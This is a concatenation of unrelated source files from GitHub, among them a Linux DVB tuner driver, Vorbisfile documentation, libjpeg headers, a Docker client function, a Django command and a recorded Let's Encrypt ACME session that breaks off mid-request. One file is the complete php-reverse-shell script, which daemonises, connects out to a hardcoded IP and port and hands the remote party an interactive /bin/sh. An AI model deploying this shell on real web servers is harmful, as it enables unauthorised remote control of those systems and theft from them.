static int cx24123_tune(struct dvb_frontend *fe,
bool re_tune,
unsigned int mode_flags,
unsigned int *delay,
enum fe_status *status)
{
int retval = 0;
if (re_tune)
retval = cx24123_set_frontend(fe);
if (!(mode_flags & FE_TUNE_MODE_ONESHOT))
cx24123_read_status(fe, status);
*delay = HZ/10;
return retval;
}
static int cx24123_get_algo(struct dvb_frontend *fe)
{
return DVBFE_ALGO_HW;
}
static void cx24123_release(struct dvb_frontend *fe)
{
struct cx24123_state *state = fe->demodulator_priv;
dprintk("\n");
i2c_del_adapter(&state->tuner_i2c_adapter);
kfree(state);
}
static int cx24123_tuner_i2c_tuner_xfer(struct i2c_adapter *i2c_adap,
struct i2c_msg msg[], int num)
{
struct cx24123_state *state = i2c_get_adapdata(i2c_adap);
/* this repeater closes after the first stop */
cx24123_repeater_mode(state, 1, 1);
return i2c_transfer(state->i2c, msg, num);
}
static u32 cx24123_tuner_i2c_func(struct i2c_adapter *adapter)
{
return I2C_FUNC_I2C;
}
static struct i2c_algorithm cx24123_tuner_i2c_algo = {
.master_xfer = cx24123_tuner_i2c_tuner_xfer,
.functionality = cx24123_tuner_i2c_func,
};
struct i2c_adapter *
cx24123_get_tuner_i2c_adapter(struct dvb_frontend *fe)
{
struct cx24123_state *state = fe->demodulator_priv;
return &state->tuner_i2c_adapter;
}
EXPORT_SYMBOL(cx24123_get_tuner_i2c_adapter);
static struct dvb_frontend_ops cx24123_ops;
struct dvb_frontend *cx24123_attach(const struct cx24123_config *config,
struct i2c_adapter *i2c)
{
/* allocate memory for the internal state */
struct cx24123_state *state =
kzalloc(sizeof(struct cx24123_state), GFP_KERNEL);
dprintk("\n");
if (state == NULL) {
err("Unable to kzalloc\n");
goto error;
}
/* setup the state */
state->config = config;
state->i2c = i2c;
/* check if the demod is there */
state->demod_rev = cx24123_readreg(state, 0x00);
switch (state->demod_rev) {
case 0xe1:
info("detected CX24123C\n");
break;
case 0xd1:
info("detected CX24123\n");
break;
default:
err("wrong demod revision: %x\n", state->demod_rev);
goto error;
}
/* create dvb_frontend */
memcpy(&state->frontend.ops, &cx24123_ops,
sizeof(struct dvb_frontend_ops));
state->frontend.demodulator_priv = state;
/* create tuner i2c adapter */
if (config->dont_use_pll)
cx24123_repeater_mode(state, 1, 0);
strlcpy(state->tuner_i2c_adapter.name, "CX24123 tuner I2C bus",
sizeof(state->tuner_i2c_adapter.name));
state->tuner_i2c_adapter.algo = &cx24123_tuner_i2c_algo;
state->tuner_i2c_adapter.algo_data = NULL;
state->tuner_i2c_adapter.dev.parent = i2c->dev.parent;
i2c_set_adapdata(&state->tuner_i2c_adapter, state);
if (i2c_add_adapter(&state->tuner_i2c_adapter) < 0) {
err("tuner i2c bus could not be initialized\n");
goto error;
}
return &state->frontend;
error:
kfree(state);
return NULL;
}
EXPORT_SYMBOL(cx24123_attach);
static struct dvb_frontend_ops cx24123_ops = {
.delsys = { SYS_DVBS },
.info = {
.name = "Conexant CX24123/CX24109",
.frequency_min = 950000,
.frequency_max = 2150000,
.frequency_stepsize = 1011, /* kHz for QPSK frontends */
.frequency_tolerance = 5000,
.symbol_rate_min = 1000000,
.symbol_rate_max = 45000000,
.caps = FE_CAN_INVERSION_AUTO |
FE_CAN_FEC_1_2 | FE_CAN_FEC_2_3 | FE_CAN_FEC_3_4 |
FE_CAN_FEC_4_5 | FE_CAN_FEC_5_6 | FE_CAN_FEC_6_7 |
FE_CAN_FEC_7_8 | FE_CAN_FEC_AUTO |
FE_CAN_QPSK | FE_CAN_RECOVER
},
.release = cx24123_release,
.init = cx24123_initfe,
.set_frontend = cx24123_set_frontend,
.get_frontend = cx24123_get_frontend,
.read_status = cx24123_read_status,
.read_ber = cx24123_read_ber,
.read_signal_strength = cx24123_read_signal_strength,
.read_snr = cx24123_read_snr,
.diseqc_send_master_cmd = cx24123_send_diseqc_msg,
.diseqc_send_burst = cx24123_diseqc_send_burst,
.set_tone = cx24123_set_tone,
.set_voltage = cx24123_set_voltage,
.tune = cx24123_tune,
.get_frontend_algo = cx24123_get_algo,
};
MODULE_DESCRIPTION("DVB Frontend module for Conexant " \
"CX24123/CX24109/CX24113 hardware");
MODULE_AUTHOR("Steven Toth");
MODULE_LICENSE("GPL");
| {
"pile_set_name": "Github"
} |
Byte Buddy is a code generation and manipulation library for creating and modifying Java
classes during the runtime of a Java application and without the help of a compiler.
Copyright 2014 Rafael Winterhalter
| {
"pile_set_name": "Github"
} |
<html>
<head>
<title>Vorbisfile - API Overview</title>
<link rel=stylesheet href="style.css" type="text/css">
</head>
<body bgcolor=white text=black link="#5555ff" alink="#5555ff" vlink="#5555ff">
<table border=0 width=100%>
<tr>
<td><p class=tiny>Vorbisfile documentation</p></td>
<td align=right><p class=tiny>vorbisfile version 1.3.2 - 20101101</p></td>
</tr>
</table>
<h1>Vorbisfile API Overview</h1>
<p>The makeup of the Vorbisfile libvorbisfile library API is relatively
simple. It revolves around a single file resource. This file resource is
passed to libvorbisfile, where it is opened, manipulated, and closed,
in the form of an <a href="OggVorbis_File.html">OggVorbis_File</a>
struct.
<p>
The Vorbisfile API consists of the following functional categories:
<p>
<ul>
<li><p><a href="datastructures.html">Base data structures</a>
<li><p><a href="initialization.html">Setup/Teardown</a>
<li><p><a href="decoding.html">Decoding</a>
<li><p><a href="seeking.html">Seeking</a>
<li><p><a href="fileinfo.html">File Information</a>
</ul>
<p>
In addition, the following subjects deserve attention additional to
the above general overview:
<p>
<ul>
<li><p><a href="threads.html">Threading and thread safety</a>
<li><p><a href="callbacks.html">Using [non stdio] custom stream I/O
via callbacks</a>
<li><p><a href="crosslap.html">Sample crosslapping</a>
</ul>
<p>
<br><br>
<hr noshade>
<table border=0 width=100%>
<tr valign=top>
<td><p class=tiny>copyright © 2000-2010 Xiph.Org</p></td>
<td align=right><p class=tiny><a href="http://www.xiph.org/ogg/vorbis/">Ogg Vorbis</a></p></td>
</tr><tr>
<td><p class=tiny>Vorbisfile documentation</p></td>
<td align=right><p class=tiny>vorbisfile version 1.3.2 - 20101101</p></td>
</tr>
</table>
</body>
</html>
| {
"pile_set_name": "Github"
} |
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 [email protected]
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at [email protected]
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.2.2.1'; // CHANGE THIS
$port = 8888; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
| {
"pile_set_name": "Github"
} |
#brick {
width: 40px;
height: 20px;
background: #EE6B47;
position: relative;
cursor: pointer;
}
#path {
outline: 1px solid #E8C48E;
width: 540px;
height: 20px;
} | {
"pile_set_name": "Github"
} |
#!/bin/bash
READ_STDIN=0
LANGUAGE=`detect-language`
BUILDER=0
while getopts ":sl:b" opt; do
case ${opt} in
s )
READ_STDIN=1
;;
l )
LANGUAGE=$OPTARG
;;
b )
BUILDER=1
;;
: )
echo "Invalid option: $OPTARG requires an argument"
exit 1
;;
\? )
echo "Usage: run-project [-sb] [-l language]"
exit 1
;;
esac
done
if [ $BUILDER -ne 0 ]; then
if [ -f Makefile ] && [ $( cat /proc/$PPID/comm ) != 'make' ]; then
exec make
fi
if [ -f CMakeLists.txt ]; then
mkdir /tmp/build
PROJ=$(pwd)
cd /tmp/build
exec bash -c "cmake $PROJ && ninja"
fi
if [ -f package.json ]; then
if jq -e .scripts.start package.json; then
exec npm start
fi
fi
fi
maybe_read_stdin() {
if [ $READ_STDIN -ne 0 ]; then
cat - > /home/runner/$1
fi
}
case "$LANGUAGE" in
<% for ( let lang of languages ) { -%>
<%- lang.names.map(x => `"${x}"`).join('|') %>)
maybe_read_stdin <%= lang.entrypoint %>
<% if ( lang.compile ) { -%>
<%- c(lang.compile.command.concat([lang.entrypoint])) %> 1>&2
<% } -%>
<% if ( lang.run ) { -%>
<%- c(lang.run.command) %>
<% } -%>
;;
<% } -%>
*)
echo "Unknown Language: $LANGUAGE"
;;
esac
| {
"pile_set_name": "Github"
} |
custom: https://www.buymeacoffee.com/dastergon
| {
"pile_set_name": "Github"
} |
#ifndef __UIEVENTTYPE_H__
#define __UIEVENTTYPE_H__
#include "FairyGUIMacros.h"
NS_FGUI_BEGIN
class UIEventType
{
public:
static const int Enter = 0;
static const int Exit = 1;
static const int Changed = 2;
static const int Submit = 3;
static const int TouchBegin = 10;
static const int TouchMove = 11;
static const int TouchEnd = 12;
static const int Click = 13;
static const int RollOver = 14;
static const int RollOut = 15;
static const int MouseWheel = 16;
static const int RightClick = 17;
static const int MiddleClick = 18;
static const int PositionChange = 20;
static const int SizeChange = 21;
static const int KeyDown = 30;
static const int KeyUp = 31;
static const int Scroll = 40;
static const int ScrollEnd = 41;
static const int PullDownRelease = 42;
static const int PullUpRelease = 43;
static const int ClickItem = 50;
static const int ClickLink = 51;
static const int ClickMenu = 52;
static const int RightClickItem = 53;
static const int DragStart = 60;
static const int DragMove = 61;
static const int DragEnd = 62;
static const int Drop = 63;
static const int GearStop = 70;
};
NS_FGUI_END
#endif
| {
"pile_set_name": "Github"
} |
syntax = "proto3";
package blocksconvert;
option go_package = "blocksconvert";
import "github.com/gogo/protobuf/gogoproto/gogo.proto";
option (gogoproto.marshaler_all) = true;
option (gogoproto.unmarshaler_all) = true;
service Scheduler {
// Returns next plan that builder should work on.
rpc NextPlan(NextPlanRequest) returns (NextPlanResponse) {};
}
message NextPlanRequest {
string builderName = 1;
}
message NextPlanResponse {
string planFile = 1;
string progressFile = 2;
}
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env python
# encoding: utf-8
"""
@version: ??
@author: liangliangyy
@license: MIT Licence
@contact: [email protected]
@site: https://www.lylinux.net/
@software: PyCharm
@file: build_search_words.py
@time: 2019/9/23 6:58 下午
"""
from django.core.management.base import BaseCommand
from blog.models import Article, Tag, Category
# TODO 参数化
class Command(BaseCommand):
help = 'build search words'
def handle(self, *args, **options):
datas = set([t.name for t in Tag.objects.all()] +
[t.name for t in Category.objects.all()])
print('\n'.join(datas))
| {
"pile_set_name": "Github"
} |
/*
* cdjpeg.h
*
* This file was part of the Independent JPEG Group's software:
* Copyright (C) 1994-1997, Thomas G. Lane.
* It was modified by The libjpeg-turbo Project to include only code relevant
* to libjpeg-turbo.
* For conditions of distribution and use, see the accompanying README file.
*
* This file contains common declarations for the sample applications
* cjpeg and djpeg. It is NOT used by the core JPEG library.
*/
#define JPEG_CJPEG_DJPEG /* define proper options in jconfig.h */
#define JPEG_INTERNAL_OPTIONS /* cjpeg.c,djpeg.c need to see xxx_SUPPORTED */
#include "jinclude.h"
#include "jpeglib.h"
#include "jerror.h" /* get library error codes too */
#include "cderror.h" /* get application-specific error codes */
/*
* Object interface for cjpeg's source file decoding modules
*/
typedef struct cjpeg_source_struct * cjpeg_source_ptr;
struct cjpeg_source_struct {
void (*start_input) (j_compress_ptr cinfo, cjpeg_source_ptr sinfo);
JDIMENSION (*get_pixel_rows) (j_compress_ptr cinfo, cjpeg_source_ptr sinfo);
void (*finish_input) (j_compress_ptr cinfo, cjpeg_source_ptr sinfo);
FILE *input_file;
JSAMPARRAY buffer;
JDIMENSION buffer_height;
};
/*
* Object interface for djpeg's output file encoding modules
*/
typedef struct djpeg_dest_struct * djpeg_dest_ptr;
struct djpeg_dest_struct {
/* start_output is called after jpeg_start_decompress finishes.
* The color map will be ready at this time, if one is needed.
*/
void (*start_output) (j_decompress_ptr cinfo, djpeg_dest_ptr dinfo);
/* Emit the specified number of pixel rows from the buffer. */
void (*put_pixel_rows) (j_decompress_ptr cinfo, djpeg_dest_ptr dinfo,
JDIMENSION rows_supplied);
/* Finish up at the end of the image. */
void (*finish_output) (j_decompress_ptr cinfo, djpeg_dest_ptr dinfo);
/* Target file spec; filled in by djpeg.c after object is created. */
FILE * output_file;
/* Output pixel-row buffer. Created by module init or start_output.
* Width is cinfo->output_width * cinfo->output_components;
* height is buffer_height.
*/
JSAMPARRAY buffer;
JDIMENSION buffer_height;
};
/*
* cjpeg/djpeg may need to perform extra passes to convert to or from
* the source/destination file format. The JPEG library does not know
* about these passes, but we'd like them to be counted by the progress
* monitor. We use an expanded progress monitor object to hold the
* additional pass count.
*/
struct cdjpeg_progress_mgr {
struct jpeg_progress_mgr pub; /* fields known to JPEG library */
int completed_extra_passes; /* extra passes completed */
int total_extra_passes; /* total extra */
/* last printed percentage stored here to avoid multiple printouts */
int percent_done;
};
typedef struct cdjpeg_progress_mgr * cd_progress_ptr;
/* Module selection routines for I/O modules. */
EXTERN(cjpeg_source_ptr) jinit_read_bmp (j_compress_ptr cinfo);
EXTERN(djpeg_dest_ptr) jinit_write_bmp (j_decompress_ptr cinfo,
boolean is_os2);
EXTERN(cjpeg_source_ptr) jinit_read_gif (j_compress_ptr cinfo);
EXTERN(djpeg_dest_ptr) jinit_write_gif (j_decompress_ptr cinfo);
EXTERN(cjpeg_source_ptr) jinit_read_ppm (j_compress_ptr cinfo);
EXTERN(djpeg_dest_ptr) jinit_write_ppm (j_decompress_ptr cinfo);
EXTERN(cjpeg_source_ptr) jinit_read_rle (j_compress_ptr cinfo);
EXTERN(djpeg_dest_ptr) jinit_write_rle (j_decompress_ptr cinfo);
EXTERN(cjpeg_source_ptr) jinit_read_targa (j_compress_ptr cinfo);
EXTERN(djpeg_dest_ptr) jinit_write_targa (j_decompress_ptr cinfo);
/* cjpeg support routines (in rdswitch.c) */
EXTERN(boolean) read_quant_tables (j_compress_ptr cinfo, char * filename,
boolean force_baseline);
EXTERN(boolean) read_scan_script (j_compress_ptr cinfo, char * filename);
EXTERN(boolean) set_quality_ratings (j_compress_ptr cinfo, char *arg,
boolean force_baseline);
EXTERN(boolean) set_quant_slots (j_compress_ptr cinfo, char *arg);
EXTERN(boolean) set_sample_factors (j_compress_ptr cinfo, char *arg);
/* djpeg support routines (in rdcolmap.c) */
EXTERN(void) read_color_map (j_decompress_ptr cinfo, FILE * infile);
/* common support routines (in cdjpeg.c) */
EXTERN(void) enable_signal_catcher (j_common_ptr cinfo);
EXTERN(void) start_progress_monitor (j_common_ptr cinfo,
cd_progress_ptr progress);
EXTERN(void) end_progress_monitor (j_common_ptr cinfo);
EXTERN(boolean) keymatch (char * arg, const char * keyword, int minchars);
EXTERN(FILE *) read_stdin (void);
EXTERN(FILE *) write_stdout (void);
/* miscellaneous useful macros */
#ifdef DONT_USE_B_MODE /* define mode parameters for fopen() */
#define READ_BINARY "r"
#define WRITE_BINARY "w"
#else
#define READ_BINARY "rb"
#define WRITE_BINARY "wb"
#endif
#ifndef EXIT_FAILURE /* define exit() codes if not provided */
#define EXIT_FAILURE 1
#endif
#ifndef EXIT_SUCCESS
#define EXIT_SUCCESS 0
#endif
#ifndef EXIT_WARNING
#define EXIT_WARNING 2
#endif
| {
"pile_set_name": "Github"
} |
<!DOCTYPE HTML>
<html>
<body style="background:white;">
<div style="width:140px; height:100px; background:black;"></div>
</body>
</html>
| {
"pile_set_name": "Github"
} |
Highcharts.chart('container', {
chart: {
type: 'column'
},
title: {
text: 'Data input as column arrays'
},
data: {
columns: [
[null, 'Apples', 'Pears', 'Oranges'], // categories
['Ola', 1, 4, 3], // first series
['Kari', 5, 4, 2] // second series
]
}
}); | {
"pile_set_name": "Github"
} |
package client // import "github.com/docker/docker/client"
import (
"context"
"io"
"net/url"
"github.com/docker/docker/api/types"
)
// ImageLoad loads an image in the docker host from the client host.
// It's up to the caller to close the io.ReadCloser in the
// ImageLoadResponse returned by this function.
func (cli *Client) ImageLoad(ctx context.Context, input io.Reader, quiet bool) (types.ImageLoadResponse, error) {
v := url.Values{}
v.Set("quiet", "0")
if quiet {
v.Set("quiet", "1")
}
headers := map[string][]string{"Content-Type": {"application/x-tar"}}
resp, err := cli.postRaw(ctx, "/images/load", v, input, headers)
if err != nil {
return types.ImageLoadResponse{}, err
}
return types.ImageLoadResponse{
Body: resp.body,
JSON: resp.header.Get("Content-Type") == "application/json",
}, nil
}
| {
"pile_set_name": "Github"
} |
---
http_interactions:
- request:
method: head
uri: https://acme-staging.api.letsencrypt.org/acme/new-reg
body:
encoding: US-ASCII
string: ''
headers:
User-Agent:
- Acme::Client v0.3.7 (https://github.com/unixcharles/acme-client)
Accept:
- "*/*"
response:
status:
code: 405
message: Method Not Allowed
headers:
Server:
- nginx
Content-Type:
- application/problem+json
Content-Length:
- '91'
Allow:
- POST
Boulder-Request-Id:
- uDeMHlcej0rKzMXQYTUdJMxFoHF9sJiN-sfnqAKqvAM
Replay-Nonce:
- d9fsTJHF7ap8hNsgBZStyewA0QUnthx8WgKuwVTaYnY
Expires:
- Tue, 15 Nov 2016 15:46:14 GMT
Cache-Control:
- max-age=0, no-cache, no-store
Pragma:
- no-cache
Date:
- Tue, 15 Nov 2016 15:46:14 GMT
Connection:
- keep-alive
body:
encoding: UTF-8
string: ''
http_version:
recorded_at: Tue, 15 Nov 2016 15:46:14 GMT
- request:
method: post
uri: https://acme-staging.api.letsencrypt.org/acme/new-reg
body:
encoding: UTF-8
string: '{"protected":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIm5vbmNlIjoiZDlmc1RKSEY3YXA4aE5zZ0JaU3R5ZXdBMFFVbnRoeDhXZ0t1d1ZUYVluWSIsImp3ayI6eyJrdHkiOiJSU0EiLCJlIjoiQVFBQiIsIm4iOiIxRG85anVDbkdUSTVrY1hWRXVFbWJxUWtjSjJMb09hSU5LRGlXZ0JKWGJ3U29aY3kxWERlVnVTRjZHSG5SZ19ncFdJMmVOTFdXYnJVMmxHX3lPbEJsWEZ6QzhaZTk5YXRVRVNVZ1dxZXNtQ1BRSUJhV0tsRDJhQWNzbmdHZDg0WTNpR0UxZUJhYlRLV3BuZ05Ba2w0VWlfa2xOQjRvTkk0U2JBVzIwMGFVYTRKVDZjUjNfcThlX0ViR2lFb2JBVXhGZEJtX0I0TTBwZ0RJWmd5RFdnYWhhNmdFbC11eGdMZkJ3OTI2dlA4aVBqZnlWZFplbVVBRjdxSzMzZUl4d1dNeEJJTl9tYzNpOS1kQXZnZ2NETXdoRzBaZmxZQkx2QlZGWS03Vk5qY1Y3OC00Vmo5NXF0R0JCOTlmNnc1Uklod0FXdFJiMURqMW56bG1iZmRCNDJhcktoT1JnTnlXSzE2YVBTb3RoS1BwV01TT09Vc19Bbm5wTVE4cFdpX1dabl9SSU1xbjZHcERuNVNpbEJrMnE5WjVicGVSTnNNc1JBRjhHTDR3UkFGZG5BRThTNWE3ck5DVk13bERKTUNiWk9PU1ZPa1ZJNlJ5dnVyNUoyajNtREh6a3FRdzVaaGNPeUhwQUVrVkc5NWFQQjVhenZHaWRZc1c3LU5sTlZ5d2c4NTdiRzNydDBRUlUwWENwUmRGYUZsUHp4cGN2djJWTzN2R2RzTjc3R3RSbUhyY3FiVWt0VHNDTl9qZDk5UU1JT1VLUkJWUGFnZHk3bFNGbk1Cc1c1eFBPMGZYdnpxd0t2YTcxN1dSV1lZUEJ4YkFDMDNnQnBoLWVsTmMwMnRqZjEwYXhSWlE3NUY0UDRiSTI0QkM3NHd3RndBdWZqUXdpNzd4dlZpcFh3cmdvOCJ9fQ","payload":"eyJyZXNvdXJjZSI6Im5ldy1yZWciLCJjb250YWN0IjpbIm1haWx0bzptYXhAc3Vic3RyYWt0LmNvbSJdfQ","signature":"UpFFW8k4On2u5BZx_5aPmIOxFds-CNU8Iz9UPs12KYIVzsLzOxg2CwcnIGelfL3dMZQdqKU4Ab49yRUQlA_9YXUPTsscrpv1lfZ5hvlt-N29z4Ort5bcaamNaeQq2Szx1Bp1TacCEfAmwpzT6_dEFDu5g9WvGHgrv3okxKezQyEgOt1w0JAIpg0R7Oj1RwzgFNsGzXv3Yj0Zq4zcX97VkDLway69UuRBXbfrvA7fKnRCQVHuA9wpRbT6SkJkdxQE5j1iTxFG4zsj7q7BbsHdT-C_F-qI8LDREi9388z2xFxNPcupkpwFFzeoXtSBNFRCf8QfcRWSbFoBkB9sasP0cvorY_3X0ezjOML7uMK_6daK0iBvT5ge5cMvxJXBqjyumniy5JG0kytuzPMiZ3FPgZtYj75HXajN0nNPc-g--ZE6vgtMIJG0oXrIMFnh2w8KBfH5qBosoGW9A_FUbAZZTgNi1Hredyofm6T-lvqUpMvcmRq_x5KeQ0e8vWdpUvE4RaDYMUOzDuX5t1hJHTr-P4zx1NqhCp7tKddr4ENzkG5M7AZDYg0lpOJzQL5y9fKwEHWeGCGgFNGu3-uvaSH8vUhjv8SGKHpmjSmOOX57NIyRnEgjYE_49m7-LFwBPRqAljFQ4wCR4-eegYxTMYd6a7466jKrr48aZNu5z5VnB3w"}'
headers:
User-Agent:
- Acme::Client v0.3.7 (https://github.com/unixcharles/acme-client)
Accept-Encoding:
- gzip;q=1.0,deflate;q=0.6,identity;q=0.3
Accept:
- "*/*"
response:
status:
code: 201
message: Created
headers:
Server:
- nginx
Content-Type:
- application/json
Content-Length:
- '914'
Boulder-Request-Id:
- 2Dvu0dNB8USfic3eY_grHHS8JumADwjVHTRaAdnSJ9s
Boulder-Requester:
- '496458'
Link:
- <https://acme-staging.api.letsencrypt.org/acme/new-authz>;rel="next"
- <https://letsencrypt.org/documents/LE-SA-v1.1.1-August-1-2016.pdf>;rel="terms-of-service"
Location:
- https://acme-staging.api.letsencrypt.org/acme/reg/496458
Replay-Nonce:
- sa7THSiunLZYzSxbNBEWrsfsvoEVQ7BdT2tpMs5TxJk
X-Frame-Options:
- DENY
Strict-Transport-Security:
- max-age=604800
Expires:
- Tue, 15 Nov 2016 15:46:15 GMT
Cache-Control:
- max-age=0, no-cache, no-store
Pragma:
- no-cache
Date:
- Tue, 15 Nov 2016 15:46:15 GMT
Connection:
- keep-alive
body:
encoding: UTF-8
string: |-
{
"id": 496458,
"key": {
"kty": "RSA",
"n": "1Do9juCnGTI5kcXVEuEmbqQkcJ2LoOaINKDiWgBJXbwSoZcy1XDeVuSF6GHnRg_gpWI2eNLWWbrU2lG_yOlBlXFzC8Ze99atUESUgWqesmCPQIBaWKlD2aAcsngGd84Y3iGE1eBabTKWpngNAkl4Ui_klNB4oNI4SbAW200aUa4JT6cR3_q8e_EbGiEobAUxFdBm_B4M0pgDIZgyDWgaha6gEl-uxgLfBw926vP8iPjfyVdZemUAF7qK33eIxwWMxBIN_mc3i9-dAvggcDMwhG0ZflYBLvBVFY-7VNjcV78-4Vj95qtGBB99f6w5RIhwAWtRb1Dj1nzlmbfdB42arKhORgNyWK16aPSothKPpWMSOOUs_AnnpMQ8pWi_WZn_RIMqn6GpDn5SilBk2q9Z5bpeRNsMsRAF8GL4wRAFdnAE8S5a7rNCVMwlDJMCbZOOSVOkVI6Ryvur5J2j3mDHzkqQw5ZhcOyHpAEkVG95aPB5azvGidYsW7-NlNVywg857bG3rt0QRU0XCpRdFaFlPzxpcvv2VO3vGdsN77GtRmHrcqbUktTsCN_jd99QMIOUKRBVPagdy7lSFnMBsW5xPO0fXvzqwKva717WRWYYPBxbAC03gBph-elNc02tjf10axRZQ75F4P4bI24BC74wwFwAufjQwi77xvVipXwrgo8",
"e": "AQAB"
},
"contact": [
"mailto:[email protected]"
],
"initialIp": "213.123.191.198",
"createdAt": "2016-11-15T15:46:15.301210461Z",
"Status": ""
}
http_version:
recorded_at: Tue, 15 Nov 2016 15:46:15 GMT
- request:
method: post
uri: https://acme-staging.api.letsencrypt.org/acme/reg/496458
body:
encoding: UTF-8
string: '{"protected":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIm5vbmNlIjoic2E3VEhTaXVuTFpZelN4Yk5CRVdyc2Zzdm9FVlE3QmRUMnRwTXM1VHhKayIsImp3ayI6eyJrdHkiOiJSU0EiLCJlIjoiQVFBQiIsIm4iOiIxRG85anVDbkdUSTVrY1hWRXVFbWJxUWtjSjJMb09hSU5LRGlXZ0JKWGJ3U29aY3kxWERlVnVTRjZHSG5SZ19ncFdJMmVOTFdXYnJVMmxHX3lPbEJsWEZ6QzhaZTk5YXRVRVNVZ1dxZXNtQ1BRSUJhV0tsRDJhQWNzbmdHZDg0WTNpR0UxZUJhYlRLV3BuZ05Ba2w0VWlfa2xOQjRvTkk0U2JBVzIwMGFVYTRKVDZjUjNfcThlX0ViR2lFb2JBVXhGZEJtX0I0TTBwZ0RJWmd5RFdnYWhhNmdFbC11eGdMZkJ3OTI2dlA4aVBqZnlWZFplbVVBRjdxSzMzZUl4d1dNeEJJTl9tYzNpOS1kQXZnZ2NETXdoRzBaZmxZQkx2QlZGWS03Vk5qY1Y3OC00Vmo5NXF0R0JCOTlmNnc1Uklod0FXdFJiMURqMW56bG1iZmRCNDJhcktoT1JnTnlXSzE2YVBTb3RoS1BwV01TT09Vc19Bbm5wTVE4cFdpX1dabl9SSU1xbjZHcERuNVNpbEJrMnE5WjVicGVSTnNNc1JBRjhHTDR3UkFGZG5BRThTNWE3ck5DVk13bERKTUNiWk9PU1ZPa1ZJNlJ5dnVyNUoyajNtREh6a3FRdzVaaGNPeUhwQUVrVkc5NWFQQjVhenZHaWRZc1c3LU5sTlZ5d2c4NTdiRzNydDBRUlUwWENwUmRGYUZsUHp4cGN2djJWTzN2R2RzTjc3R3RSbUhyY3FiVWt0VHNDTl9qZDk5UU1JT1VLUkJWUGFnZHk3bFNGbk1Cc1c1eFBPMGZYdnpxd0t2YTcxN1dSV1lZUEJ4YkFDMDNnQnBoLWVsTmMwMnRqZjEwYXhSWlE3NUY0UDRiSTI0QkM3NHd3RndBdWZqUXdpNzd4dlZpcFh3cmdvOCJ9fQ","payload":"eyJyZXNvdXJjZSI6InJlZyIsImFncmVlbWVudCI6Imh0dHBzOi8vbGV0c2VuY3J5cHQub3JnL2RvY3VtZW50cy9MRS1TQS12MS4xLjEtQXVndXN0LTEtMj